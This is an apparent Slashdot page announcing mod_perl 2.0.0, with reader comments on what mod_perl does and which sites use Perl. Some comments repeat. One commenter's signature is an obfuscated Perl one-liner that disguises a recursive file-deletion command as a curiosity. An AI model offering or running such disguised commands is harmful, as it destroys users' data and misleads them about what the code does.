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CowboyNeal
on from the rubbish-listers dept.
JamesD_UK writes "mod_perl 2.0.0 has been officially released into CPAN. Enhancements over mod_perl 1 include threads support and a perl interface to the Apache Portable Runtime. More details on the release can be found on CPAN."
Re:Perl still used?
by
Living+WTF
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> Who still uses Perl for web stuff?
What do you think that ".pl" in most slashdot URLs stands for? PHP Light? Phyton Lowspeed? Perhaps Lisp?
-- I don't suffer from insanity, I enjoy every minute of it.
General note: what is it?
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Anonymous Coward
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For people who are wondering what mod_perl is exactly: it's a way of integrating perl into Apache's webserver. I think the main advantage is that you don't have the overhead of firing up perl for each cgi-type request. The main gotchas, for the developers point of view, involve a little perl enviornment staying alive, when a perl script starts, runs, and stops, it cleans up after itself, but when it 'stays alive' inside apache, you have to make sure it's not accumulating too much memory cruft, that you're closing handles, etc etc.
This is what I know mostly by reputation, rather than direct experience, experts please feel free to correct me
Re:General note: what is it?
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ydnar
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The main advantage is not the faster CGI execution environment.
mod_perl lets you create Apache modules in Perl, that handle every stage of a request (or anything else), and are full peers of Apache modules written in C.
ModPerl::Registry[Prefork] is just a bonus. The more interesting m_p modules are authn/authz/dispatch modules that can replace cumbersome C equivalents.
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Re:Perl still used?
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_defiant_
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Who still uses Perl for web stuff?
Ohh, I don't know... how about Amazon and Salon? Kuro5hin and all the other Scoop based sites like DailyKos and MyDD. And now that I think about it, MovableType, TypePad, and LiveJournal are all writen in Perl.
Some mod_perl info
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programgeek
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You people are saying alot of stuff without even bothering to google it.
The following is taken from http://perl.apache.org/
"mod_perl is more than CGI scripting on steroids. It is a whole new way to create dynamic content by utilizing the full power of the Apache web server to create stateful sessions, customized user authentication systems, smart proxies and much more. Yet, magically, your old CGI scripts will continue to work and work very fast indeed. With mod_perl you give up nothing and gain so much!"
"mod_perl gives you a persistent Perl interpreter embedded in your web server. This lets you avoid the overhead of starting an external interpreter and avoids the penalty of Perl start-up time, giving you super-fast dynamic content.
As you'd expect from the Perl community, there are hundreds of modules written for mod_perl, everything from persistent database connections, to templating sytems, to complete XML content delivery systems. Web sites like Slashdot and Wired Magazine use mod_perl."
Yes, Slashdot does run on mod_perl.
A friend of mine uses mod_perl and the performance increase he gets is insane.
Slashdot Mirror
> Who still uses Perl for web stuff?
What do you think that ".pl" in most slashdot URLs stands for? PHP Light? Phyton Lowspeed? Perhaps Lisp?
I don't suffer from insanity, I enjoy every minute of it.
For people who are wondering what mod_perl is exactly: it's a way of integrating perl into Apache's webserver. I think the main advantage is that you don't have the overhead of firing up perl for each cgi-type request. The main gotchas, for the developers point of view, involve a little perl enviornment staying alive, when a perl script starts, runs, and stops, it cleans up after itself, but when it 'stays alive' inside apache, you have to make sure it's not accumulating too much memory cruft, that you're closing handles, etc etc.
This is what I know mostly by reputation, rather than direct experience, experts please feel free to correct me
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#perl -e '$??s:;s:s;;$?::s;;=]=>%-{-|}&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Who still uses Perl for web stuff?
Ohh, I don't know... how about Amazon and Salon? Kuro5hin and all the other Scoop based sites like DailyKos and MyDD. And now that I think about it, MovableType, TypePad, and LiveJournal are all writen in Perl.
The following is taken from http://perl.apache.org/
"mod_perl is more than CGI scripting on steroids. It is a whole new way to create dynamic content by utilizing the full power of the Apache web server to create stateful sessions, customized user authentication systems, smart proxies and much more. Yet, magically, your old CGI scripts will continue to work and work very fast indeed. With mod_perl you give up nothing and gain so much!"
"mod_perl gives you a persistent Perl interpreter embedded in your web server. This lets you avoid the overhead of starting an external interpreter and avoids the penalty of Perl start-up time, giving you super-fast dynamic content.
As you'd expect from the Perl community, there are hundreds of modules written for mod_perl, everything from persistent database connections, to templating sytems, to complete XML content delivery systems. Web sites like Slashdot and Wired Magazine use mod_perl."
Yes, Slashdot does run on mod_perl.
A friend of mine uses mod_perl and the performance increase he gets is insane.
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